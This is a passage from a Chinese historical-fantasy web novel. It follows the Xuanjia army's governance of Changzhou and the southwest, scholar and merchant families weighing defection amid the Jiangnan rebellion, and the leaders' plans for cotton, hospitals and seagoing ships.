“阿兄,就是这样。”尚乌桕收到小玩伴的消息,过来寻尚柒,苏长屿好歹也是他在长安交的第一个朋友,如今朋友有事相求,他如何能做事不管。 再一个阿兄手里从来都是缺人的,虽念书但孩子一年似一年的大了,但经验不足,便是十五六就进衙门办差,也要一步一步培养,不能直接叫人管辖一县一城,这时候有经验的人才愿意过来,都是要的。 “你且回信,只请人过来,正好昌州还有空缺。”长安的邻居是何等人尚柒当然摸排过,苏大人本事还是有,就是出身拖累了,不然换个世家出身,也不必挣扎在五品官再难上爬。 尚乌桕点头:“阿兄,近来医院看病的人越来越多,之前说的开设第二家医院的折子批了没有。” 盘州城的医院是一年比一年正轨,如今百姓也手里也都有些钱,医院收费也不贵,每逢过年,这医院过来看诊的人数一个比一个多,看病的人手从来不够。 眼下学医的人是越来越多,但一个学徒想要看病,最少都要跟着师父学三年,那还得是有天赋的,脑子笨些的,五六年才能出师也是有的。 别看玄甲军学医时间短,但那都是教真本事,原大历的医馆学徒,十几年都不见得把老师那点三脚猫功夫学到手,为什么,还不是许多大夫怕教了徒弟饿死师父,都藏了一手。 “批了,不过我和你别哥哥暂时顾不得,医院的事你得寻你阿姊帮你办。”大军进攻昌州后,尚柒也忙着接官昌州的事。 中原的州虽比不得西南一州之地大,但人口却不少,要忙的事不比西南少。 “得令。”尚乌桕兴高采烈的离开。 乌桕一走,尚柒的手指点了点桌面,苏家或许只是个开始,他在长安之际,因为苏家就在隔壁,赵厢也有意交好,又有乌桕和长屿两个小的要好,两家关系比的旁人亲近。 如今苏家弃暗投明,到玄甲军来的消息,必然瞒不久,说不得苏家在昌州安顿没多久,原本长安活多或少和他有交集的人家都要攀关系了。 良禽择木而栖,看来朝廷至今还没能奈何江南乱军叫长安不少人家失了信心。 —————————— 别家。 别泓在西南也干实职,统管西南教育方向,别说,这正应了别家发家靠文名的缘故。 若是如大历,朝廷任用他的门生,也都警惕,就怕别家结党营私为太子夺嫡添砖加瓦,可实则他的门生不少都转投其他皇子门下,此后不在往来的也不少。 玄甲军这里,更重教育不说,还不实行愚民一策,连乡间牧童都要读书认字。 从前别泓认为寒门难出贵子,除开教育受限外,也有寒门之人比不得世家子弟聪颖,可这会看,不少冒名的人都是寻常百姓出身不说,其中姑娘哥儿也不比儿郎差。 要说别家熟读儒家之道,虽算的开明,其实骨子里也藏着儒家规训的规矩,自然从没想过姑娘哥儿出来能有多大本事。 偏现实给他一个教训,活了几十年也翻了小觑天下人的毛病,实属不该。 “父亲。”别洵松打外头进来,见他父亲又在翻看近来下面推荐的人才名单,心下了然。 “什么事?”玄甲军这里,凡有本事的没谁偷闲,实在事情太多,别泓在大历也不曾这么忙过。 “是从前交好的人家给咱们送了信,我瞧着是想借咱们的手到玄甲军安顿。”别家也在大历崛起两百来年,和世家之间联姻从来是不断的,正翻开族谱,整个长安的世家几乎都有关系,不过是看人愿不愿意攀亲罢了。 别泓沉吟片刻,明白其中厉害,还是江南乱军闹的。 “父亲,你说咱们要不要回信。”人愿意投奔玄甲军,说明是看好玄甲军,主公虽对世家有诸多限制,但从来没说过不任用世家。 不看别家,就说谢琅,板上钉钉的谢家人,不照样在玄甲军律法部门做事,连带着人夫郞也在公中任职,日后到了长安,三品的官职是有的。 “挑选一些亲近的人家回信,其余关系远了的,便不必了。”都是姻亲,能帮一把的又何必冷眼看着。 “这事要给此云说道说道吗?”到底是接触大历的世家,若是在大历他们万不敢这么做的,但玄甲军这里管的不如大历严苛,甚至不少官员都和大历那边有联络。 “说肯定是要说,咱们这事虽有些偏私,但也是人之常情,过了明路也好,日后不叫人抓了把柄。”别家在玄甲军,看似风光,但别泓是经历过风浪的,日后玄甲军打入中原,名下的能人干事必是越来越多,党派肯定会发展起来。 别家看似后台强硬,只要此云能够屹立不倒,外人轻易不能动摇,但木秀于林风必摧之,他们这一代能抗住外来的压力,下面的几代却不见得有这个本事。 别洵松点头,也认为的确该这么办,说来他从前不少至交好友也都在长安,只是别家阖家到了西南,联系基本都断了,毕竟谁也不想背个和反贼私交过密的罪名。 “等玄甲军在中原的地盘越来越大,这样的事只会越来越多,叮嘱家里其他人,万不能犯了糊涂。”别家一大家子,主家不说,旁系也都陆陆续续过来西南,虽都打散安排去了西南四州落户,但平日也都书信往来的勤密,不能放任人胡来。 “父亲,放心,这点我还是有成算。”别洵松好歹也在官场混过,亏吃多了也知道厉害。 “嗯,无事就走吧,我的挑选一批到盘州进修的学生。” 别洵松见父亲又埋头醉心于人才上,面露笑意,在大历的时候,父亲为太子殚精竭虑,哪有功夫理其他杂事。 如今在西南,虽别家不是个个都位高权重,但无论是尚柒还是此云都不曾亏待他们,安排的职位也都契合个人的要求,只盼日后玄甲军到了长安,日子也能如西南这般踏实。 第163章 “黎大人, 快坐下歇歇,日头也大起来,可不能中暑了。”田间管事的老汉招呼面皮白嫩的官府大人。 “老伯放心, 我等外出公干都配有藿香正气丸,整好解暑。”黎浅抖了抖衣裳,头顶打着纸伞, 比田间劳作的农人不知好多少。 老汉听着也没多劝, 他们都晓得玄甲军派来的大人一个个都是干实事的, 不是那走过场的人, 若是早点完工, 也能早些回去。 这一片地安顿的都是外来到昌州落脚的人家, 逃难来的有农人也有手艺人,从前镇上住的人家少有愿意耕作的,还是跟着昌州本地人看能不能寻一门活计, 但以往种地的人家, 都是愿意种地的。 只要有地,吃穿不愁,人总能活下去, 而昌州的地都是不要钱分到人头上,有远见的也打听过,玄甲军税收比大历低的多, 也无杂税,甚至不征徭役兵役, 这样的日子在大历百姓来看,已经是说不上的好日子了。 且新村落地后,还说要建私塾教孩子读书,这等好事他们从前想都不敢想, 如今却过上了,虽一路从江南走过了吃了不少苦,也差点在半道死了,但都是值得的。 “新种送过来,可曾有人抱怨?”黎浅是晓得玄甲军推广新种历来不讲情面,但只要种过的人家再没说新种不好的。 “黎大人,我说没有你也是不信的,虽说逃难过来的百姓跟咱们昌州还隔着千八百里,但种的东西大差不差,只是他们一路过来也没见几个还留有原来的种子,时下昌州也都主卖新种,他们再抱怨也没地儿说去。” 农人种地,大部分一种就是几十年,一般别的方面他们不敢拿大,但一提起地里的事,一个个又跟犟驴一样,不肯做第一个吃馒头的人。 好在衙门安顿他们也都是给了口粮的,一时间倒是不怕饿死,新种推广的矛盾也没那么大,毕竟昌州本地的农人也种新种。 “话虽如此,可有闹出什么乱子。”田间耕作,常为一寸土一方水闹的不可开交,尤其是天旱,有的村子为了挣水连人命都能闹出来,黎浅就是从村里出来的,如何不晓得农人之间的纷争。 “不能够,玄甲军给他们吃喝,叫他们不至于饿死,若有精力闹事,正好昌州的矿山缺人手,且送上去做几日工,保管回来便服服帖帖。”欺软怕硬是常事,他们这些被派过来管流民的,都有丰富的基层工作经验,等这回事了,便是要继续升迁的。 黎浅点头,昌州是玄甲军进驻中原的第一块土地,必要好好打个样,叫周围的州县都晓得归顺玄甲军,有好日子过才是正经。 一路勘察完田地,黎浅回到县衙门,他也算是初出茅庐,就有了能到昌州做事的机会,全赖从前在沙平县做事叫县令看重,后推举到州府衙门,得了这么个机会,差事只要办的好,不说远了,日后也是能进州府衙门做事的。 他十四才因玄甲军识字,虽人聪明,常在学堂拔得头筹,但与那自幼念书的人还是差了些,只能在实践中慢慢摸索道理。 勘察报告当天便写完送到上面去,黎浅便在钟敲过后,回衙门安排的宿舍休息。 昌州虽已经被玄甲军占据几个月了,但繁华程度是比不上盘州应州的,他原本也是个没见识的土包子,奈何沙平县那样的小地方也因为玄甲军的到来,大变了模样,眼下到昌州,见识那些富户人家,也都有些意兴阑珊。 自然金银珠宝还是稀罕的,可玄甲军早不用大历的钱,有自己造的纸币,比的铜钱携带方便,还不易被伪造,市面上好久都没见过□□案,也是造纸技术不成。 因为私塾的缘故,纸的需求量是很大的,但造纸的纸坊多是官衙开的,除开供给给各个部门,余下的就送到书店售卖,私人纸坊多是小作坊,造纸技术也远不如官府,更不说造玄甲军用的纸币了。 “昌州征兵的情况如何?”别拭雪在昌州城坐镇,他从前也跟在宋月隐宋大人身边做事,如何管理一州之地也都轻车熟路,到了昌州,除开流民打了他个措手不及,其余诸事倒也安排的顺当。 玄甲军因不向百姓征兵役,如此兵营征兵全年都是有的,也是玄甲军对待兵丁的条件好,不然大部分人家都能吃饱饭了,如何还肯叫家中孩子来干送命的勾当。 “不少,其中有一部分是流民,但我怕这些流民掺杂的有匪寇,便想先摸排清楚底细再说。”别景和手中军队也有万人,且个个都是精兵,征兵的事在西南之地也进行了几年,他便是看着学也都学清楚了。 初到玄甲军的新兵都是要统一进行训练,快则几个月慢则一年方能转正,这段时间也是考察参军的兵丁是否真的适合当兵,虽征兵时设立了考察项目,但也有入兵营后不适应的,都给劝退了。 只不过都是少数,玄甲军的训练自然也是苦的,可再苦也比地里刨食喂不饱肚子强,玄甲军中大部分兵丁都是农人出身,很是吃的苦。 “匪寇的确不能放任进军队,根据一路过来的流民说讲,路上也遇过几起暴乱,都是些杀人不眨眼的凶徒,有一些当即被指认出来,或是砍头或是送去矿场,还有些涂抹了脸混入人群,倒是避开了。” 杀人不眨眼的凶徒是万不能留的,别看这些人似乎有了好日子就能安定,但真遇上什么事,暴起伤人都是必然的,这样的定时炸弹留在人群里,很影响民心。 “正是,这次征兵有几个出色的汉子,我就着人细细查了一番,揪出了两个闹过事的,手里沾了不少无辜之人的血,这两人又攀扯了几人出来,有的是跟着趁火打劫,有的便是真心杀人,一连串拔萝卜带泥,还等着送去西南正法。” 慈不掌兵义不掌财,别景和心肠虽不算硬,但涉及军中事物从不会轻易心软,也正是这个缘故,军中纪律方才严明。 历来军队如土匪,入城烧杀抢掠不见得比土匪暴徒好到哪里去,玄甲军这里出兵攻城,不准滥杀无辜亦不准抢劫百姓,更不可欺辱姑娘哥儿,若是知法犯法,多是要在军营前砍了脑袋,以正军纪。 好在自出兵昌州以来,军中再不见有这样的人,从前在西南,樊泊和别景和可是抓住过几回。 “两位主公说何时来昌州了吗?”别拭雪知道,玄甲军眼下重心虽在西南,但迟早是要往中原走的,中原之地富庶,人口也多,屈居西南不过占一地为王,打下中原方才能说新建王朝。 “只怕不会早来。”别景和看,怎么也要再打下两州,才能叫主公渡江坐镇,“我过些日子要带兵回西南一趟。” “可是要换樊将军过来?” “开疆拓土都是功劳,樊将军必然是要过来的,我也不见得会留在西南,时下军中也不像从前无人可用,之前西南大军的蒲将军亦是将才,他妻儿被两位主公接到西南后,我瞧着再无后顾之忧,说不得他要比樊将军先一步请缨出兵。” 军中处事,太平时候也是你争我夺,乱世之中便是凭本事吃饭,他和樊泊二人算是玄甲军的老将,也有出兵的功绩,蒲将军虽入玄甲军时,带大军投靠,但战绩却是没有。 若别景和是蒲将军,这会子已经如热锅上的蚂蚁,想着要如何向两位主公请缨作战。 而蒲将军之下,又有其他冒头的小将,都是一场场战斗表现突出提拔上来的武将,本事不缺,就差个一飞冲天的机会。 中原之地虽大,但明眼人能看出玄甲军走稳扎稳打的路子,两位主公都不是冒进的人,一次性拿下两三州就是目前玄甲军消化的极限,若是朝廷那边不派兵过来攻打,只怕领兵出征的机会有限。 要是大历朝廷和江南乱军知晓别景和的想法,怕是要气的吐一口血,朝廷勉强凑够一队人马去江南围剿乱军,之后铩羽而归不过个把月的时间。 真要说乱军能打也不见得,但乱军比的朝廷大军有一点好处,那就是不缺粮食,乱军一路杀烧抢掠,江南又是富庶之地,粮食不说叫将士们敞开吃,但后勤从不掉队。 而朝廷这边出兵,粮草历来抠搜,更不说如今国库空虚,若非是不打江南,大历也没多少活头了,新帝和满朝文武未必愿意出兵。 就说柳家,本家不在长安,只一个柳确在长安做事,长安柳家这段时日一直登柳确的房门,就想着打听柳家是什么打算,也好跟着柳家投注。 “谢家消息虽瞒的紧,但只要细打听也晓得他家行十三的小辈从前和玄甲军主公交好,时下也不见谢十三的影子,只怕早一步去了西南筹谋。 萧家当初在江南失了齐王,改扶新帝登基,但实则也不过是没有其他选择,这会子萧家看似得宠,却也表面风光,私下指不定在想什么,其余几家倒是没什么动静,但已经到这个份上,谁不晓得江南乱军有这几家的影子在。 柳确,看在长安柳家也是也同出柳家一门的份上,给你伯伯指条明路,咱们柳家到底是要跟新帝一条船,还是投奔西南玄甲军,又或者干脆在江南也有咱们的军队。” 这番话说的情真意切,但柳确不为所动,他孤身一人到长安,本是因为柳家嫡系这一代在长安无人罢了。 柳确行九,家中姊妹众多,柳家必然不会把鸡蛋放在一个篮子里,自江南大乱以来,柳家便不曾给他传过什么信,大抵是要他和长安柳家压新帝,至于本家是去西南还是江南,恐怕远在长安的他是得不到答案的。 第164章 苏家辞官到西南并未大张旗鼓, 等人入了玄甲军的地界,赵厢时时掀起帘子看外面什么情况。 江南大乱,他们一路过来是因为有玄甲军的人护着方才得以平安, 不然单时下的乱象,他们手中又无部曲,多是半道要叫匪徒给吃了去。 “昌州打下来还不到一年, 瞧着倒是没什么乱象。” “玄甲军行事, 咱们在长安或多或少也听说过, 只大部分认为是玄甲军在作假罢了, 我识得尚家儿郎, 他非是弄虚作假之人, 昌州如此情况倒也在预料之内。” 他们来的路上可是听说江南有难民逃难过来,对朝廷来说,任何流民都不是好解决的事, 但昌州城门口不见衣衫褴褛者, 昌州城内也不见行乞的乞丐,百姓衣着虽朴素,可面容都不枯黄, 就知玄甲军的能耐。 “原先一路南来,还有些忐忑不安,昌州所见倒是安了我的心, 自古乱世投奔主公,就如押上身家性命, 赌赢了封侯拜相,子孙荫蔽,赌输了尸骨无存。”哪个读书人读史书不曾心生感慨,就说历朝历代的乱世, 都是吃人的世道,如果不想被吃就要赌命。 他本一介五品小官,于长安中排行微末,若非家中夫郞儿子有幸结实玄甲军主公,只怕是投奔也不见得会被重用。 “快莫提封侯拜相,你只见玄甲军这里,世家根基都被拔出,如何还能想着子孙后代袭爵,若真如此不还是养出个新世家。 你这本事也达不到封侯拜相的标准,只求咱们一家能够在乱世得以保全,就是最大的福报。” 他自然是知道夫君来西南或能一展所长,但他们也是从前大历的老人,不可奢求过多。 “夫郞说的是,我在长安多有忌讳,到了西南反失了警惕,该骂。”长安的小官,谨小慎微都是刻在骨子里的,有时候一句话惹了上官不喜,便没了前途也是常事。 “你记得就好,西南是生地,虽咱们和尚主公有几分交情,但万不能过于攀附,你也是有真本事的人,不必趋炎附势。” “我晓得。” 等苏家人到盘州的时候,是尚乌桕抽空来接的,好歹苏长屿也是他的朋友,千里迢迢来西南,他自然要以礼相待,西南的好东西是越来越多了。 不说远了就说近些时候农家培养的新果,滋味都比从前要好,市面上卖水果的商贩也多起来,寻常人家是不肯常买的,毕竟鲜果保存不易,如今味道好上来了,数量也不多,只能供应给手头宽绰的百姓甜甜嘴。 也就是家中有小娃娃的人家,或许受不住孩子哀求买一两回尝尝味。 尚乌桕管一个医院,每月给的俸禄若换去长安,别哥哥开的甜品屋能任由他阔绰的买,只是须得小心,甜食吃多了牙疼。 他可是个大夫,万不会犯这等小错。 “可是乌桕,几年不见,竟这样大了。”赵厢一下马车就看见尚乌桕,一般孩子长几年都大变了模样,偏尚乌桕还跟幼时很像,只是个子高了些。 “赵叔,你倒是一点没变。” “我呢,我呢。”苏长屿窜出来,只是儿郎长个子总是要慢些,到落得和尚乌桕的个子差不离。 “你也一点没变。”尚乌桕拍拍苏长屿的肩膀,毕竟苏长屿还比他小呢,叫苏长屿比过去,他还有什么面子。 他是不记得爹娘的模样,但阿兄个子高,阿姊在西南娘子里也是出类拔萃的个子,日后他必然也矮不到哪里去。 只是苏长屿的父亲和阿耶也都是高个,说不得过几年便要超了他去。 “好啊,我明明长高了,平日练武也练的勤,早与几年前不一样了。”苏长屿可不想叫人小瞧了。 “阿兄说练武容易长不高。” “什么!但尚大哥也习武,个子还那么高,我可不是小时候了,乌桕你别骗我。”苏长屿不相信,他可是晓得尚大哥的厉害。 “好了,有什么叙旧的话等进了城再说。”赵厢阻止两个小的吵闹。 “赵叔说的对,且先进城休息,住的地方阿兄提前着我准备好了,等明日,我再带苏伯伯去见阿兄。”一路舟车劳顿,总是要叫人休息的。 “劳烦乌桕了。” —————————— 尚柒翻看近来送的账册,因为西南种棉花的人越来越多,棉布在市面上已经开始大面积流通,甚至西北也因为商队往来,不少农人也种起了棉花,为的就是和商队换米粮。 粮食不能说在西南不值钱,而是新种新的沤肥之法都让亩产增加,牛马也不及从前昂贵,如今西南境内的农人,少说三四户也能有一头耕牛。 马匹和青骡城里人用的多,加上税收不贵,不少农人交完税会卖粮食给官府。 没了世家分润,就是原本大历的产粮都能说叫百姓吃饱,时下玄甲军粮食的确多的能往外卖。 不过尚柒和别此云也广修粮仓,这几年玄甲军在西南没见什么大的天灾人祸,但就怕老天爷不给面子,突然来个旱灾或是水灾,手里有粮食也能安抚民心。 “海船那边有消息了。”别此云兴匆匆的近来,他已经许久不曾这么兴奋,大历的海船还走不了远海,但因为玄甲军占地距离海边有些距离,一时间想要研究新海船,只能先派人去海边当地寻匠人。 “我这里也有好消息。”今日看来是个好日子,双喜临门。 “什么好消息?”别此云走过去,看向桌案上的账册,“是棉花?” “不错,棉布的产量提上来了,于百姓间买卖价格又能降一降,我想西南再穷的农人也能买一身棉衣过冬。”加上这几年一直低价销售的羊毛衣,冬天不说冻死人,越来越多人都不必日日龟缩在家里。 冬日许多工坊都是不停工的,棉花不够的时候,只能靠烧煤来维持温度,而百姓家中,大部分是烧不起煤的,或许最冷的时候,能买些煤来沾点热气,没那么冷就只有蜷缩在被窝,借些夜里的余温。 “的确是个好消息,海船这头能够动工,虽不是朝夕间就能去海里,但也是个好开头,或许等咱们打去长安的时候,海船已经能在海上驰骋了。”出海是他们定好未来玄甲军发展的路子。 早知道出海的好处,而他们有粮有钱,没有理由不行动,不然等海外的人过来,他们就只有吃亏的份。 “苏家人昨日就到盘州城了,乌桕安顿好人,今日便要过来,苏长屿那小子几年不见,也不知长高了多少。”和乌桕比,苏长屿虽也顽劣,却又乖巧不少。 “定然是长高了,乌桕如今都高了一节,小孩最是长的快,以前年幼尚不知事,等长大回想,也全然记不得一年能有多大变化,但从来一回,我可记着最能长的那一两年,夜里骨头都疼的人睡不着。” 别此云的个子不如尚柒高,但在哥儿中也不算矮,世家结亲都是要挑选身高样貌的。 “那我来的晚了些。”尚柒目光中带着几分心疼,此云大多数时候在道观度过,虽自在但怕是也孤单的很,夜里腿疼估摸着都是自己忍过去的。 “不晚,无论如何都不晚的。”能有一个和他一样不同于此世的灵魂,哪怕是垂垂朽矣,也比一个人孤独的死去好。 “好吧,那就不提从前,苏家三人,我其实最看好的反而是赵郎君,我在长安与他接触过,为人处事亦是有能之辈。”并非是说苏家家主就不成器,实在是尚柒没和人怎么接触过,但寒门出门能够在长安经营这么些年,还官居五品,倒也不是无能之辈。 “且看他们的意思,苏家当初虽与咱们有旧,但也只是孩子之间,大人们反而是泛泛之交,他们能来投奔玄甲军,还是看重玄甲军有夺取天下的本事,咱们也算是熬出头了。” 天下英雄入过江之卿,但玄甲军主公之一布衣出身,行事狂悖,这几年来反而很少有人来投奔。 谢家倒是买了他们一股,却也不像是将全家压在玄甲军这头,别看苏家只是寒门,但也正是这些极看重前程,又没有两头押注本事的寒门选择最为谨慎。 “二堂兄已经归来,我看军营有些躁动,我还想着趁朝廷没反应过来,再多吃下几州,能有人来投奔,也是解了咱们的燃眉之急。” 如今的天下,隐隐有三分之势,但无论是大历还是江南乱军,都不成气候,按说乱世来临之际,该有不少想夺天下之辈冒头,玄甲军都在西南经营好几年,却不见另一个旗鼓相当的对手,也算是占尽天时地利人和。 按依别此云看,若是投奔来真才实学的人越多,他们越能今早吃下中原,原计划出兵昌州后,七年吃下整个中原,之后再慢慢磨掉草原,现在看或五年就可尽收天下,甚至更早。 “只怕军中将士等不住,他们一个个都想出兵立功,说实话他们最难的仗不过是忠州和地方豪强打,还不曾遇过朝廷大军,虽他们本事必然比过朝廷大军,但我又怕他们经验不足,若能多出兵锻炼也是好的。” 朝廷大军不提,最要紧的还是乱军,江南乱军现在还乱,但等他们打过去说不得就成了一支正规军。 第165章 江南。 原本的富庶之乡, 如今却是大变了模样,自从有三五乱军起兵后,各地都不太平, 原说江南怎么也是国之重地,朝廷不可能不管,哪想拖拖延延下来, 真叫乱军成了气候, 在江南一带作威作福, 更南的岭南乱军是不去的。 岭南一带地广人稀, 没几个有钱的地儿, 更不说还有各类病, 非本地人过去,能活命都是好的。 乱军虽都是流民组成,但乱军头子肯定不是没见识的人, 否则也当不得乱军统帅, 管着泱泱大军。 而江南的富户有门路的都已经投靠乱军了,没门路又没势的,能跑也都跑了, 没跑走的多成了乱军刀下亡魂。 后头听闻朝廷大军过来剿匪,又被乱军打的节节败退,这江南富地的日子是越发过不下去。 “乱军还不曾屠过城, 大部分百姓只是损失些粮食财产,乱军走了还能有条活路, 但谁不敢保证乱军能一直这么规矩。”一些江南有钱人家私下聚在一起,谈起日后该如何。 “要我说,还是寻个机会往北去,到长安脚下, 再不济朝廷也有禁军把守。”江南不是久留之地,乱军说的好听还能当个正经势力,不好听就跟那山上的土匪没什么差别,与虎谋皮哪能有什么好下场。 就说在场的诸位,哪个没给乱军上过孝敬,甚至家中姑娘哥儿都送去给乱军头子当暖房,也不见乱军真心想保他们。 说不得乱军这时候被处理他们就是因为钱粮还够,不必大动干戈喊打喊杀,真等钱粮霍霍的差不多了,只怕是没那么好说话了。 “长安,你看看咱们这位新帝是个能人吗?先帝也不成样子,到了江南一遭,没斗过自己儿子死了,我看大历朝廷气数已尽,真去了长安,乱军他日入城,咱们焉能有好日子过。” “不去长安,这乱军也不见的靠得住,先前听闻乱军背后有几个大世家在背后支持,眼下乱军都成气候了,也不见大世家出来站台,若真是世家出身领兵,咱们投靠必然是会以重礼相待,你我说不得还能混个从龙之功。” 这话一说,立刻有不少人附和,看来还是有不少人想着真心投靠乱军办事,万一这乱军是天命之人,转头当了皇帝,他们这些微末相助之人,必然是有好处的,说不得封侯拜相也有他们一员。 可偏偏,这乱军头子并不接纳他们,只收容流民,先头召见他们去府邸赴宴,有人宴上说差了话,当即就被砍了脑袋。 这等血腥场面,哪是富贵人家经受的住的,这不一回去好些人就烧了起来,近来才好全。 也就是因为这事,大家伙才想办法看能不能谋一条出路。 “乱军背后有世家站台应该不假,不然只一股流民哪能在江南成气候,只是我看这乱军是有了主意,背弃了世家,投靠乱军的路我已经不指望了。” 说来说去,眼下他们唯一的出路就只有一条,那就是西南的玄甲军,玄甲军在西南发家多年,甚至都打过江,他们又不是真聋子,如何不晓得。 “玄甲军办事规矩,咱们过去保命是没问题,但玄甲军不许买卖田地,甚至原手中有的地也都要卖给玄甲军,你说不叫咱们手中有地,如何能安心。” 做生意的人家,谁手里没多买上百亩的地捏在手里,就怕生意有个差错,只要有地在,日子也能过下去。 时下玄甲军断了他们做生意的保险,不叫再买卖田地,除了地里刨食得人家,有几个是乐意的。 这也是他们宁愿选大历皇帝也不去西南的原因,但今时不同往日,明眼人看着都知道大历不成气候了,天下此刻冒头的只有玄甲军和江南此地的乱军,如无意外,未来天下之主该在这两处势力诞生。 玄甲军许多规矩虽然严苛,但对外都是美名,玄甲军不伤百姓,也不强抢百姓财产,这话不管有几分真,总比乱军行事随心所欲的好。 “真到了生死存亡关头,也顾不得这么多了,我已经有打算往西南去,玄甲军已经打下昌州,并准备继续对中原用兵,我看不过三五年,长安都要落在玄甲军手里。” “话虽如此,玄甲军又是个不讲情面的,他们自己会做生意,也不要我等给钱,想要在玄甲军混个名头,实在是难。”多少人想巴结玄甲军,但几年过去,送人送钱都没成,可见玄甲军和过往势力不一样, “难总比送命强,江南百姓多是北逃,南去的也不少,但都是有去无回,唯有逃去西南的人,有回来江南的,都是过来接人去昌州安顿,也亏得玄甲军护送,不然这些人都回不到江南。” “哼,照我看,玄甲军哪是护送人回来接人,只怕是想在江南宣传他们的仁义,好叫百姓都去西南过日子,西南人丁历来是不能和江南比的,哪怕眼下江南生乱,逃了这么多百姓,人丁照样还是比西南多,可不叫人眼红。” “诶诶,兄台这话可是对玄甲军有怨?不管玄甲军什么目的,只要他们确实能叫逃去西南的百姓过上安稳日子,不比眼下情况强。 难道你要大家伙都在江南等着看乱军脸色过日子不成?上回宴会一遭,我在床上躺了半个月方才不再惊神,家中妻儿老小也都吓的不轻,我若继续下去,指不定哪日家中妻小就得给我收尸。” 说到伤心处,这位商户还抹了一把眼泪,不是他矫情,而是当时宴会被当即砍了脑袋的商人就在他跟前,也是老熟人,不敢说是乐善好施之辈,却也都不曾坑蒙拐骗,于家乡也有几分薄名,那乱军头子看也不看就一刀砍了人头,热血撒在他脸上,当即就被吓的尿了裤子。 若非他当时压着不出声,只怕是也要惹恼那乱军头子,最后死在宴上。 后头他能下地了,请人去打听那商人家中如何,结果竟被那乱军抄了家不说,还将家中妻小全抓了去,儿郎年幼,但也懂事怕活不成。 姑娘哥儿进了乱军营地又有什么好下场,他自然是兔死狐悲,不敢再在江南讨生活,他死了也就罢了,连家中妻小哦度不放过,如何能忍。 “云兄既然要去西南,我等也不拦着,只是乱军盯着咱们盯的紧,若要走也需要打点,就怕人还没出江南地界,就被乱军发现,遣兵追来要打要杀。”这也是时下大家最担忧的。 眼下江南,百姓还好说,一身家当一个板车都不见得能放满,他们这些富商则不同,不说阖家几百口人,但是金银珠宝想要全全送出江南就难之又难。 可若是舍弃家底,又有几个能舍得,再说不把家底装上,去西南又如何生活? 这才是大家伙迟迟没走的原因。 “不若再请人去大世家本族问问情况,咱们随是江南出身,大部分祖上也阔过,寻一二与大世家有姻亲干系的不难,他们若能出面给咱们交个底,留在江南支持这些乱军也没那么叫人害怕。” 终究大部分人还是舍不得钱财,不说远了,就说江南的宅邸和田地,要走必然是带不走的,就是手里留有房契地契,到了新皇帝登基的时候,还认不认老黄历是一回事呢。 要说这在场的该都是有钱人,便是要在长安置办田产也都是买的起的,偏偏一个个又小气的很。 “若是肯交底,都不必我们去问,自然有人找上门来,我看就如先前说的,乱军八成是背弃了这些大世家,可见都是背信弃义之徒,实在不是能走长远的样子,我看还是和云兄一起去西南谋条生路的好。” 接下来又是一阵吵吵嚷嚷,也没见哪个分辨清楚,云老爷早先一步告辞回家,他膝下儿女多已经成人,儿郎也都是江南上好书院出来的,文采本事先生都是夸赞,若生在太平年间,某个小官来做也使得。 偏巧遇上不太平的时候,他家的姑娘哥儿也个个聪慧,当初几个富商说要送家姑娘哥儿去伺候乱军头子,他都是不肯的,但继续待在江南,说不得什么时候就被盯上了,还是早些走的好。 “父亲当真想好了?” “自然想好了,你们黄叔什么下场也看见了,咱们不能走了老黄的老路,西南那头虽置办不了地,但咱们有本钱,生意也能继续做下去,那头你若想做官,也不要家里打点,只要有真本事,肯吃得苦,从小吏做起,总能升上去。 不说你,就是你的弟弟妹妹也都能做官,出路比在江南多,别看其他人不肯走,那是他们舍不得眼下的从龙之功,可也不相信,乱军能有什么前途。” 云老爷看的在明白不过,那些舍不得的人早晚都是要后悔的。 “那家里的东西父亲打算怎么送去西南?”他们可在乱军眼皮子底下,别说送东西,就是一家子出动都要引得乱军侧目。 “不必担心,我已经和玄甲军的人联系上了,他们都能在戒备森严的长安带人离开,江南之地不必担忧,你只管听我的就是。” 云老爷说着看了看祖宅,此去西南也不知道还有没有机会能回江南来,到时候此地的祖宅又是否完好无损。 害,不该这么想,没准去了西南,他们阖家日后就在长安定居,也说不准。 第166章 昌州城。 自从玄甲军入城后, 昌州已经大变了模样,之后又有大军从西南过来,往昌州附近几州推进, 眼下打去哪个州,昌州百姓虽关注,但少有知道内情的。 玄甲军也是, 打了胜仗也不宣扬, 说不得哪天打去长安了, 他们都还被蒙在鼓里。 如今昌州已经是玄甲军的地盘, 百姓也都是玄甲军的百姓, 大部分百姓对大历是没什么感情的, 就算有不舍,那也是害怕玄甲军不如大历皇帝。 如今他们也在玄甲军治下生活一年光景,已然熟知玄甲军非是大历那等不管事的朝廷, 瞧瞧, 现在村里水渠水库都是官府出钱请人修建,便是天旱,也不会一时没水吃。 且不知是不是昌州百姓的错觉, 近些时候,过来昌州落户的富贵人家越发的多,生人面孔一上街就能遇上不少, 说话的口音也不是本地的,与先前那些逃难过来的流民倒有几分相似。 “今日这街上巡逻的官差是不是太多了些。”有在街上做些小买卖的人家, 同一旁的小贩搭话。 “是有些多,许是什么大人物要过来咱们昌州。” “大人物。”那人喃喃的重复,随后眼睛瞪大:“莫不是两位主公要来咱们昌州。” 这话一说,原没什么精神的小贩也立刻警醒, 是了,玄甲军地盘小,许多英雄人物名声也没传开来,真要算大人物的,只有两位在西南主持大局的主公了。 先前昌州拿下,昌州百姓心心念念的想着两位主公自此就在昌州议事,毕竟中原局势瞬息万变,若出了什么事,还要隔江才能递消息,岂非是耽误事。 可都一年多功夫了,也不见两位主公的影子,甚至都没听说过来视察,可不叫昌州百姓没指望。 “是了,大军出昌州打仗也有这么久,想来已经打下昌州附近几州,往中原去,也非是只有昌州一地,如此玄甲军两位主公到昌州坐镇,也是合理的。”昌州茶楼里,一些读书人也在猜测。 玄甲军治下最不缺读书人,但多还是孩童,如黎浅这等能调用的也都是早几年开始培养的人手,原大历的读书人倒有本事的都入衙门做事了。 再次,能认字写字,也能当个书记小吏,比的一般百姓日子安稳,钱么肯定比不上卖苦力的,但胜在活不重,福利也不差,多攒几年,也能在昌州置办一套像样的宅院。 “正是,大历要是打过来,昌州附近几州也能阻碍几分,若是不敌,坐船回西南,大历也拿玄甲军没办法。” “如何能说这等长的他人志气灭自己威风的话,玄甲军打下西南,不过几年,这还是玄甲军边打边治才拖慢了进度,你瞧昌州,不过多少时候就叫玄甲军都拿下,大历的兵连江南乱军都收拾不了,怎么比的上玄甲军。” 有人愤愤不平驳斥,实在是大历还没打过来,先想着逃跑,如何能成大事。 “兄台勿要生气,那人不过是小心了些,虽有些落自己威风,但想来两位主公也是考量过得。 